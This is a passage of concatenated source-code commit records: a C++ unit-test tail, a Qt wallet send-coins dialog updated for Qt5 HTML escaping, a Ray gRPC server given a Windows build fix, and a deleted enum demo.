);\n}\n\nTEUCHOS_UNIT_TEST( DetailsDistributor, sort_and_determine_buffer_layout )\n{\n checkBufferLayout( {}, {}, {}, {}, {0}, success, out );\n checkBufferLayout( {2, 2}, {0, 1}, {2}, {2}, {0, 2}, success, out );\n checkBufferLayout( {3, 3, 2, 3, 2, 1}, {0, 1, 3, 2, 4, 5}, {3, 2, 1},\n {3, 2, 1}, {0, 3, 5, 6}, success, out );\n checkBufferLayout( {1, 2, 3, 2, 3, 3}, {5, 3, 0, 4, 1, 2}, {3, 2, 1},\n {3, 2, 1}, {0, 3, 5, 6}, success, out );\n checkBufferLayout( {0, 1, 2, 3}, {3, 2, 1, 0}, {3, 2, 1, 0}, {1, 1, 1, 1},\n {0, 1, 2, 3, 4}, success, out );\n}\n\n\/\/ Include the test macros.\n#include \"DataTransferKit_ETIHelperMacros.h\"\n\n\/\/ Create the test group\n#define UNIT_TEST_GROUP( NODE ) \\\n using DeviceType##NODE = typename NODE::device_type; \\\n TEUCHOS_UNIT_TEST_TEMPLATE_1_INSTANT( DetailsDistributedSearchTreeImpl, \\\n sort_results, DeviceType##NODE ) \\\n TEUCHOS_UNIT_TEST_TEMPLATE_1_INSTANT( DetailsDistributedSearchTreeImpl, \\\n count_results, DeviceType##NODE )\n\n\/\/ Demangle the types\nDTK_ETI_MANGLING_TYPEDEFS()\n\n\/\/ Instantiate the tests\nDTK_INSTANTIATE_N( UNIT_TEST_GROUP )\n<|endoftext|>"} {"text":"<commit_before>#include \"sendcoinsdialog.h\"\n#include \"ui_sendcoinsdialog.h\"\n#include \"walletmodel.h\"\n#include \"bitcoinunits.h\"\n#include \"addressbookpage.h\"\n#include \"optionsmodel.h\"\n#include \"sendcoinsentry.h\"\n#include \"guiutil.h\"\n#include \"askpassphrasedialog.h\"\n#include \"base58.h\"\n\n#include <QMessageBox>\n#include <QLocale>\n#include <QTextDocument>\n#include <QScrollBar>\n\nSendCoinsDialog::SendCoinsDialog(QWidget *parent) :\n QDialog(parent),\n ui(new Ui::SendCoinsDialog),\n model(0)\n{\n ui->setupUi(this);\n\n#ifdef Q_OS_MAC \/\/ Icons on push buttons are very uncommon on Mac\n ui->addButton->setIcon(QIcon());\n ui->clearButton->setIcon(QIcon());\n ui->sendButton->setIcon(QIcon());\n#endif\n\n addEntry();\n\n connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry()));\n connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));\n\n fNewRecipientAllowed = true;\n}\n\nvoid SendCoinsDialog::setModel(WalletModel *model)\n{\n this->model = model;\n\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n entry->setModel(model);\n }\n }\n if(model && model->getOptionsModel())\n {\n setBalance(model->getBalance(), model->getStake(), model->getUnconfirmedBalance(), model->getImmatureBalance());\n connect(model, SIGNAL(balanceChanged(qint64, qint64, qint64, qint64)), this, SLOT(setBalance(qint64, qint64, qint64, qint64)));\n connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n }\n}\n\nSendCoinsDialog::~SendCoinsDialog()\n{\n delete ui;\n}\n\nvoid SendCoinsDialog::on_sendButton_clicked()\n{\n QList<SendCoinsRecipient> recipients;\n bool valid = true;\n\n if(!model)\n return;\n\t\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n if(entry->validate())\n {\n recipients.append(entry->getValue());\n }\n else\n {\n valid = false;\n }\n }\n }\n\n if(!valid || recipients.isEmpty())\n {\n return;\n }\n\n \/\/ Format confirmation message\n QStringList formatted;\n foreach(const SendCoinsRecipient &rcp, recipients)\n {\n formatted.append(tr(\"<b>%1<\/b> to %2 (%3)\").arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, rcp.amount), Qt::escape(rcp.label), rcp.address));\n }\n\n fNewRecipientAllowed = false;\n\n QMessageBox::StandardButton retval = QMessageBox::question(this, tr(\"Confirm send coins\"),\n tr(\"Are you sure you want to send %1?\").arg(formatted.join(tr(\" and \"))),\n QMessageBox::Yes|QMessageBox::Cancel,\n QMessageBox::Cancel);\n\n if(retval != QMessageBox::Yes)\n {\n fNewRecipientAllowed = true;\n return;\n }\n\n WalletModel::UnlockContext ctx(model->requestUnlock());\n if(!ctx.isValid())\n {\n \/\/ Unlock wallet was cancelled\n fNewRecipientAllowed = true;\n return;\n }\n\n WalletModel::SendCoinsReturn sendstatus = model->sendCoins(recipients);\n switch(sendstatus.status)\n {\n case WalletModel::InvalidAddress:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The recipient address is not valid, please recheck.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::InvalidAmount:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The amount to pay must be larger than 0.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::AmountExceedsBalance:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The amount exceeds your balance.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::AmountWithFeeExceedsBalance:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The total exceeds your balance when the %1 transaction fee is included.\").\n arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, sendstatus.fee)),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::DuplicateAddress:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Duplicate address found, can only send to each address once per send operation.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::TransactionCreationFailed:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Error: Transaction creation failed.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::TransactionCommitFailed:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::Aborted: \/\/ User aborted, nothing to do\n break;\n case WalletModel::OK:\n accept();\n break;\n }\n fNewRecipientAllowed = true;\n}\n\nvoid SendCoinsDialog::clear()\n{\n \/\/ Remove entries until only one left\n while(ui->entries->count())\n {\n delete ui->entries->takeAt(0)->widget();\n }\n addEntry();\n\n updateRemoveEnabled();\n\n ui->sendButton->setDefault(true);\n}\n\nvoid SendCoinsDialog::reject()\n{\n clear();\n}\n\nvoid SendCoinsDialog::accept()\n{\n clear();\n}\n\nSendCoinsEntry *SendCoinsDialog::addEntry()\n{\n SendCoinsEntry *entry = new SendCoinsEntry(this);\n entry->setModel(model);\n ui->entries->addWidget(entry);\n connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*)));\n\n updateRemoveEnabled();\n\n \/\/ Focus the field, so that entry can start immediately\n entry->clear();\n entry->setFocus();\n ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint());\n QCoreApplication::instance()->processEvents();\n QScrollBar* bar = ui->scrollArea->verticalScrollBar();\n if(bar)\n bar->setSliderPosition(bar->maximum());\n return entry;\n}\n\nvoid SendCoinsDialog::updateRemoveEnabled()\n{\n \/\/ Remove buttons are enabled as soon as there is more than one send-entry\n bool enabled = (ui->entries->count() > 1);\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n entry->setRemoveEnabled(enabled);\n }\n }\n setupTabChain(0);\n}\n\nvoid SendCoinsDialog::removeEntry(SendCoinsEntry* entry)\n{\n delete entry;\n updateRemoveEnabled();\n}\n\nQWidget *SendCoinsDialog::setupTabChain(QWidget *prev)\n{\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n prev = entry->setupTabChain(prev);\n }\n }\n QWidget::setTabOrder(prev, ui->addButton);\n QWidget::setTabOrder(ui->addButton, ui->sendButton);\n return ui->sendButton;\n}\n\nvoid SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv)\n{\n if(!fNewRecipientAllowed)\n return;\n\n SendCoinsEntry *entry = 0;\n \/\/ Replace the first entry if it is still unused\n if(ui->entries->count() == 1)\n {\n SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());\n if(first->isClear())\n {\n entry = first;\n }\n }\n if(!entry)\n {\n entry = addEntry();\n }\n\n entry->setValue(rv);\n}\n\nbool SendCoinsDialog::handleURI(const QString &uri)\n{\n SendCoinsRecipient rv;\n \/\/ URI has to be valid\n if (GUIUtil::parseBitcoinURI(uri, &rv))\n {\n CBitcoinAddress address(rv.address.toStdString());\n if (!address.IsValid())\n return false;\n pasteEntry(rv);\n return true;\n }\n\n return false;\n}\n\nvoid SendCoinsDialog::setBalance(qint64 balance, qint64 stake, qint64 unconfirmedBalance, qint64 immatureBalance)\n{\n Q_UNUSED(stake);\n Q_UNUSED(unconfirmedBalance);\n Q_UNUSED(immatureBalance);\n if(!model || !model->getOptionsModel())\n return;\n\n int unit = model->getOptionsModel()->getDisplayUnit();\n ui->labelBalance->setText(BitcoinUnits::formatWithUnit(unit, balance));\n}\n\nvoid SendCoinsDialog::updateDisplayUnit()\n{\n if(model && model->getOptionsModel())\n {\n \/\/ Update labelBalance with the current balance and the current unit\n ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), model->getBalance()));\n }\n}\n<commit_msg>Update sendcoinsdialog.cpp<commit_after>#include \"sendcoinsdialog.h\"\n#include \"ui_sendcoinsdialog.h\"\n#include \"walletmodel.h\"\n#include \"bitcoinunits.h\"\n#include \"addressbookpage.h\"\n#include \"optionsmodel.h\"\n#include \"sendcoinsentry.h\"\n#include \"guiutil.h\"\n#include \"askpassphrasedialog.h\"\n#include \"base58.h\"\n\n#include <QMessageBox>\n#include <QLocale>\n#include <QTextDocument>\n#include <QScrollBar>\n\nSendCoinsDialog::SendCoinsDialog(QWidget *parent) :\n QDialog(parent),\n ui(new Ui::SendCoinsDialog),\n model(0)\n{\n ui->setupUi(this);\n\n#ifdef Q_OS_MAC \/\/ Icons on push buttons are very uncommon on Mac\n ui->addButton->setIcon(QIcon());\n ui->clearButton->setIcon(QIcon());\n ui->sendButton->setIcon(QIcon());\n#endif\n\n addEntry();\n\n connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry()));\n connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));\n\n fNewRecipientAllowed = true;\n}\n\nvoid SendCoinsDialog::setModel(WalletModel *model)\n{\n this->model = model;\n\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n entry->setModel(model);\n }\n }\n if(model && model->getOptionsModel())\n {\n setBalance(model->getBalance(), model->getStake(), model->getUnconfirmedBalance(), model->getImmatureBalance());\n connect(model, SIGNAL(balanceChanged(qint64, qint64, qint64, qint64)), this, SLOT(setBalance(qint64, qint64, qint64, qint64)));\n connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n }\n}\n\nSendCoinsDialog::~SendCoinsDialog()\n{\n delete ui;\n}\n\nvoid SendCoinsDialog::on_sendButton_clicked()\n{\n QList<SendCoinsRecipient> recipients;\n bool valid = true;\n\n if(!model)\n return;\n\t\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n if(entry->validate())\n {\n recipients.append(entry->getValue());\n }\n else\n {\n valid = false;\n }\n }\n }\n\n if(!valid || recipients.isEmpty())\n {\n return;\n }\n\n \/\/ Format confirmation message\n QStringList formatted;\n foreach(const SendCoinsRecipient &rcp, recipients)\n {\n #if QT_VERSION < 0x050000\n formatted.append(tr(\"<b>%1<\/b> to %2 (%3)\").arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, rcp.amount), Qt::escape(rcp.label), rcp.address));\n #else\n\tformatted.append(tr(\"<b>%1<\/b> to %2 (%3)\").arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, rcp.amount), rcp.label.toHtmlEscaped(), rcp.address));\n #endif\n }\n\n fNewRecipientAllowed = false;\n\n QMessageBox::StandardButton retval = QMessageBox::question(this, tr(\"Confirm send coins\"),\n tr(\"Are you sure you want to send %1?\").arg(formatted.join(tr(\" and \"))),\n QMessageBox::Yes|QMessageBox::Cancel,\n QMessageBox::Cancel);\n\n if(retval != QMessageBox::Yes)\n {\n fNewRecipientAllowed = true;\n return;\n }\n\n WalletModel::UnlockContext ctx(model->requestUnlock());\n if(!ctx.isValid())\n {\n \/\/ Unlock wallet was cancelled\n fNewRecipientAllowed = true;\n return;\n }\n\n WalletModel::SendCoinsReturn sendstatus = model->sendCoins(recipients);\n switch(sendstatus.status)\n {\n case WalletModel::InvalidAddress:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The recipient address is not valid, please recheck.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::InvalidAmount:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The amount to pay must be larger than 0.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::AmountExceedsBalance:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The amount exceeds your balance.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::AmountWithFeeExceedsBalance:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"The total exceeds your balance when the %1 transaction fee is included.\").\n arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, sendstatus.fee)),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::DuplicateAddress:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Duplicate address found, can only send to each address once per send operation.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::TransactionCreationFailed:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Error: Transaction creation failed.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::TransactionCommitFailed:\n QMessageBox::warning(this, tr(\"Send Coins\"),\n tr(\"Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.\"),\n QMessageBox::Ok, QMessageBox::Ok);\n break;\n case WalletModel::Aborted: \/\/ User aborted, nothing to do\n break;\n case WalletModel::OK:\n accept();\n break;\n }\n fNewRecipientAllowed = true;\n}\n\nvoid SendCoinsDialog::clear()\n{\n \/\/ Remove entries until only one left\n while(ui->entries->count())\n {\n delete ui->entries->takeAt(0)->widget();\n }\n addEntry();\n\n updateRemoveEnabled();\n\n ui->sendButton->setDefault(true);\n}\n\nvoid SendCoinsDialog::reject()\n{\n clear();\n}\n\nvoid SendCoinsDialog::accept()\n{\n clear();\n}\n\nSendCoinsEntry *SendCoinsDialog::addEntry()\n{\n SendCoinsEntry *entry = new SendCoinsEntry(this);\n entry->setModel(model);\n ui->entries->addWidget(entry);\n connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*)));\n\n updateRemoveEnabled();\n\n \/\/ Focus the field, so that entry can start immediately\n entry->clear();\n entry->setFocus();\n ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint());\n QCoreApplication::instance()->processEvents();\n QScrollBar* bar = ui->scrollArea->verticalScrollBar();\n if(bar)\n bar->setSliderPosition(bar->maximum());\n return entry;\n}\n\nvoid SendCoinsDialog::updateRemoveEnabled()\n{\n \/\/ Remove buttons are enabled as soon as there is more than one send-entry\n bool enabled = (ui->entries->count() > 1);\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n entry->setRemoveEnabled(enabled);\n }\n }\n setupTabChain(0);\n}\n\nvoid SendCoinsDialog::removeEntry(SendCoinsEntry* entry)\n{\n delete entry;\n updateRemoveEnabled();\n}\n\nQWidget *SendCoinsDialog::setupTabChain(QWidget *prev)\n{\n for(int i = 0; i < ui->entries->count(); ++i)\n {\n SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());\n if(entry)\n {\n prev = entry->setupTabChain(prev);\n }\n }\n QWidget::setTabOrder(prev, ui->addButton);\n QWidget::setTabOrder(ui->addButton, ui->sendButton);\n return ui->sendButton;\n}\n\nvoid SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv)\n{\n if(!fNewRecipientAllowed)\n return;\n\n SendCoinsEntry *entry = 0;\n \/\/ Replace the first entry if it is still unused\n if(ui->entries->count() == 1)\n {\n SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());\n if(first->isClear())\n {\n entry = first;\n }\n }\n if(!entry)\n {\n entry = addEntry();\n }\n\n entry->setValue(rv);\n}\n\nbool SendCoinsDialog::handleURI(const QString &uri)\n{\n SendCoinsRecipient rv;\n \/\/ URI has to be valid\n if (GUIUtil::parseBitcoinURI(uri, &rv))\n {\n CBitcoinAddress address(rv.address.toStdString());\n if (!address.IsValid())\n return false;\n pasteEntry(rv);\n return true;\n }\n\n return false;\n}\n\nvoid SendCoinsDialog::setBalance(qint64 balance, qint64 stake, qint64 unconfirmedBalance, qint64 immatureBalance)\n{\n Q_UNUSED(stake);\n Q_UNUSED(unconfirmedBalance);\n Q_UNUSED(immatureBalance);\n if(!model || !model->getOptionsModel())\n return;\n\n int unit = model->getOptionsModel()->getDisplayUnit();\n ui->labelBalance->setText(BitcoinUnits::formatWithUnit(unit, balance));\n}\n\nvoid SendCoinsDialog::updateDisplayUnit()\n{\n if(model && model->getOptionsModel())\n {\n \/\/ Update labelBalance with the current balance and the current unit\n ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), model->getBalance()));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 The Ray Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"ray\/rpc\/grpc_server.h\"\n\n#include <grpcpp\/impl\/service_type.h>\n\n#include <boost\/asio\/detail\/socket_holder.hpp>\n\n#include \"ray\/common\/ray_config.h\"\n\nnamespace ray {\nnamespace rpc {\n\nGrpcServer::GrpcServer(std::string name, const uint32_t port, int num_threads)\n : name_(std::move(name)), port_(port), is_closed_(true), num_threads_(num_threads) {\n cqs_.resize(num_threads_);\n}\n\nvoid GrpcServer::Run() {\n uint32_t specified_port = port_;\n std::string server_address(\"0.0.0.0:\" + std::to_string(port_));\n int num_retries = RayConfig::instance().grpc_server_num_retries();\n while (num_retries >= 0) {\n grpc::ServerBuilder builder;\n \/\/ Disable the SO_REUSEPORT option. We don't need it in ray. If the option is enabled\n \/\/ (default behavior in grpc), we may see multiple workers listen on the same port and\n \/\/ the requests sent to this port may be handled by any of the workers.\n builder.AddChannelArgument(GRPC_ARG_ALLOW_REUSEPORT, 0);\n builder.AddChannelArgument(GRPC_ARG_MAX_SEND_MESSAGE_LENGTH,\n RayConfig::instance().max_grpc_message_size());\n builder.AddChannelArgument(GRPC_ARG_MAX_RECEIVE_MESSAGE_LENGTH,\n RayConfig::instance().max_grpc_message_size());\n \/\/ TODO(hchen): Add options for authentication.\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials(), &port_);\n \/\/ Register all the services to this server.\n if (services_.empty()) {\n RAY_LOG(WARNING) << \"No service is found when start grpc server \" << name_;\n }\n for (auto &entry : services_) {\n builder.RegisterService(&entry.get());\n }\n \/\/ Get hold of the completion queue used for the asynchronous communication\n \/\/ with the gRPC runtime.\n for (int i = 0; i < num_threads_; i++) {\n cqs_[i] = builder.AddCompletionQueue();\n }\n \/\/ Build and start server.\n server_ = builder.BuildAndStart();\n if (port_ > 0) {\n break;\n }\n usleep(RayConfig::instance().grpc_server_retry_timeout_milliseconds() * 1000);\n num_retries--;\n }\n\n \/\/ If the grpc server failed to bind the port, the `port_` will be set to 0.\n RAY_CHECK(port_ > 0)\n << \"Port \" << specified_port\n << \" specified by caller already in use. Try passing node_manager_port=... into \"\n \"ray.init() to pick a specific port\";\n RAY_LOG(INFO) << name_ << \" server started, listening on port \" << port_ << \".\";\n\n \/\/ Create calls for all the server call factories.\n for (auto &entry : server_call_factories_) {\n for (int i = 0; i < num_threads_; i++) {\n \/\/ Create a buffer of 100 calls for each RPC handler.\n \/\/ TODO(edoakes): a small buffer should be fine and seems to have better\n \/\/ performance, but we don't currently handle backpressure on the client.\n for (int j = 0; j < 100; j++) {\n entry->CreateCall();\n }\n }\n }\n \/\/ Start threads that polls incoming requests.\n for (int i = 0; i < num_threads_; i++) {\n polling_threads_.emplace_back(&GrpcServer::PollEventsFromCompletionQueue, this, i);\n }\n \/\/ Set the server as running.\n is_closed_ = false;\n}\n\nvoid GrpcServer::RegisterService(GrpcService &service) {\n services_.emplace_back(service.GetGrpcService());\n\n for (int i = 0; i < num_threads_; i++) {\n service.InitServerCallFactories(cqs_[i], &server_call_factories_);\n }\n}\n\nvoid GrpcServer::PollEventsFromCompletionQueue(int index) {\n void *tag;\n bool ok;\n\n \/\/ Keep reading events from the `CompletionQueue` until it's shutdown.\n while (cqs_[index]->Next(&tag, &ok)) {\n auto *server_call = static_cast<ServerCall *>(tag);\n bool delete_call = false;\n if (ok) {\n switch (server_call->GetState()) {\n case ServerCallState::PENDING:\n \/\/ We've received a new incoming request. Now this call object is used to\n \/\/ track this request.\n server_call->SetState(ServerCallState::PROCESSING);\n server_call->HandleRequest();\n break;\n case ServerCallState::SENDING_REPLY:\n \/\/ GRPC has sent reply successfully, invoking the callback.\n server_call->OnReplySent();\n \/\/ The rpc call has finished and can be deleted now.\n delete_call = true;\n break;\n default:\n RAY_LOG(FATAL) << \"Shouldn't reach here.\";\n break;\n }\n } else {\n \/\/ `ok == false` will occur in two situations:\n \/\/ First, the server has been shut down, the server call's status is PENDING\n \/\/ Second, server has sent reply to client and failed, the server call's status is\n \/\/ SENDING_REPLY\n if (server_call->GetState() == ServerCallState::SENDING_REPLY) {\n server_call->OnReplyFailed();\n }\n delete_call = true;\n }\n if (delete_call) {\n delete server_call;\n }\n }\n}\n\n} \/\/ namespace rpc\n} \/\/ namespace ray\n<commit_msg>Fix Windows build (#8905)<commit_after>\/\/ Copyright 2017 The Ray Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"ray\/rpc\/grpc_server.h\"\n\n#include <grpcpp\/impl\/service_type.h>\n#include <unistd.h>\n\n#include <boost\/asio\/detail\/socket_holder.hpp>\n\n#include \"ray\/common\/ray_config.h\"\n\nnamespace ray {\nnamespace rpc {\n\nGrpcServer::GrpcServer(std::string name, const uint32_t port, int num_threads)\n : name_(std::move(name)), port_(port), is_closed_(true), num_threads_(num_threads) {\n cqs_.resize(num_threads_);\n}\n\nvoid GrpcServer::Run() {\n uint32_t specified_port = port_;\n std::string server_address(\"0.0.0.0:\" + std::to_string(port_));\n int num_retries = RayConfig::instance().grpc_server_num_retries();\n while (num_retries >= 0) {\n grpc::ServerBuilder builder;\n \/\/ Disable the SO_REUSEPORT option. We don't need it in ray. If the option is enabled\n \/\/ (default behavior in grpc), we may see multiple workers listen on the same port and\n \/\/ the requests sent to this port may be handled by any of the workers.\n builder.AddChannelArgument(GRPC_ARG_ALLOW_REUSEPORT, 0);\n builder.AddChannelArgument(GRPC_ARG_MAX_SEND_MESSAGE_LENGTH,\n RayConfig::instance().max_grpc_message_size());\n builder.AddChannelArgument(GRPC_ARG_MAX_RECEIVE_MESSAGE_LENGTH,\n RayConfig::instance().max_grpc_message_size());\n \/\/ TODO(hchen): Add options for authentication.\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials(), &port_);\n \/\/ Register all the services to this server.\n if (services_.empty()) {\n RAY_LOG(WARNING) << \"No service is found when start grpc server \" << name_;\n }\n for (auto &entry : services_) {\n builder.RegisterService(&entry.get());\n }\n \/\/ Get hold of the completion queue used for the asynchronous communication\n \/\/ with the gRPC runtime.\n for (int i = 0; i < num_threads_; i++) {\n cqs_[i] = builder.AddCompletionQueue();\n }\n \/\/ Build and start server.\n server_ = builder.BuildAndStart();\n if (port_ > 0) {\n break;\n }\n usleep(RayConfig::instance().grpc_server_retry_timeout_milliseconds() * 1000);\n num_retries--;\n }\n\n \/\/ If the grpc server failed to bind the port, the `port_` will be set to 0.\n RAY_CHECK(port_ > 0)\n << \"Port \" << specified_port\n << \" specified by caller already in use. Try passing node_manager_port=... into \"\n \"ray.init() to pick a specific port\";\n RAY_LOG(INFO) << name_ << \" server started, listening on port \" << port_ << \".\";\n\n \/\/ Create calls for all the server call factories.\n for (auto &entry : server_call_factories_) {\n for (int i = 0; i < num_threads_; i++) {\n \/\/ Create a buffer of 100 calls for each RPC handler.\n \/\/ TODO(edoakes): a small buffer should be fine and seems to have better\n \/\/ performance, but we don't currently handle backpressure on the client.\n for (int j = 0; j < 100; j++) {\n entry->CreateCall();\n }\n }\n }\n \/\/ Start threads that polls incoming requests.\n for (int i = 0; i < num_threads_; i++) {\n polling_threads_.emplace_back(&GrpcServer::PollEventsFromCompletionQueue, this, i);\n }\n \/\/ Set the server as running.\n is_closed_ = false;\n}\n\nvoid GrpcServer::RegisterService(GrpcService &service) {\n services_.emplace_back(service.GetGrpcService());\n\n for (int i = 0; i < num_threads_; i++) {\n service.InitServerCallFactories(cqs_[i], &server_call_factories_);\n }\n}\n\nvoid GrpcServer::PollEventsFromCompletionQueue(int index) {\n void *tag;\n bool ok;\n\n \/\/ Keep reading events from the `CompletionQueue` until it's shutdown.\n while (cqs_[index]->Next(&tag, &ok)) {\n auto *server_call = static_cast<ServerCall *>(tag);\n bool delete_call = false;\n if (ok) {\n switch (server_call->GetState()) {\n case ServerCallState::PENDING:\n \/\/ We've received a new incoming request. Now this call object is used to\n \/\/ track this request.\n server_call->SetState(ServerCallState::PROCESSING);\n server_call->HandleRequest();\n break;\n case ServerCallState::SENDING_REPLY:\n \/\/ GRPC has sent reply successfully, invoking the callback.\n server_call->OnReplySent();\n \/\/ The rpc call has finished and can be deleted now.\n delete_call = true;\n break;\n default:\n RAY_LOG(FATAL) << \"Shouldn't reach here.\";\n break;\n }\n } else {\n \/\/ `ok == false` will occur in two situations:\n \/\/ First, the server has been shut down, the server call's status is PENDING\n \/\/ Second, server has sent reply to client and failed, the server call's status is\n \/\/ SENDING_REPLY\n if (server_call->GetState() == ServerCallState::SENDING_REPLY) {\n server_call->OnReplyFailed();\n }\n delete_call = true;\n }\n if (delete_call) {\n delete server_call;\n }\n }\n}\n\n} \/\/ namespace rpc\n} \/\/ namespace ray\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <cassert>\n\n#include \"viennautils\/enum_pp.hpp\"\n\nVIENNAUTILS_ENUM_PP(element_tag, (edge,1),(triangle),(rectangle,4));\n\ntemplate <typename T>\nvoid foo(T my_tag)\n{\n std::cout << \"name of enum: \" << viennautils::enum_pp::name<T>() << std::endl;\n for ( element_tag::ToStringMap::const_iterator it = viennautils::enum_pp::to_string_map<T>().begin()\n ; it != viennautils::enum_pp::to_string_map<T>().end()\n ; ++it\n )\n {\n std::cout << \"value: \" << it->first << \" name: \" << it->second << std::endl;\n }\n \n std::cout << \"using value 'rectangle' to retrieve string: \" << viennautils::enum_pp::to_string(my_tag) << std::endl;\n std::cout << \"using string \\\"rectangle\\\" to retrieve value: \" << viennautils::enum_pp::from_string<T>(\"rectangle\") << std::endl;\n \n try\n {\n T fail = viennautils::enum_pp::from_string<T>(\"not a valid enum value\");\n }\n catch(std::exception const & e)\n {\n std::cout << \"caught expected exception: \" << e.what() << std::endl;\n }\n}\n\nint main()\n{\n \/\/notice how T is of type element_tag::type in foo and not element_tag itself\n \/\/so the enum itself is associated with the functions that it needs\n foo(element_tag::rectangle);\n}\n<commit_msg>enum_pp_demo example is now removed (forgot to stage it with previous checkin)<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"..\\guid.h\"\n#include <cassert>\n#include <string>\n\nint main()\n{\n \/* api documentation 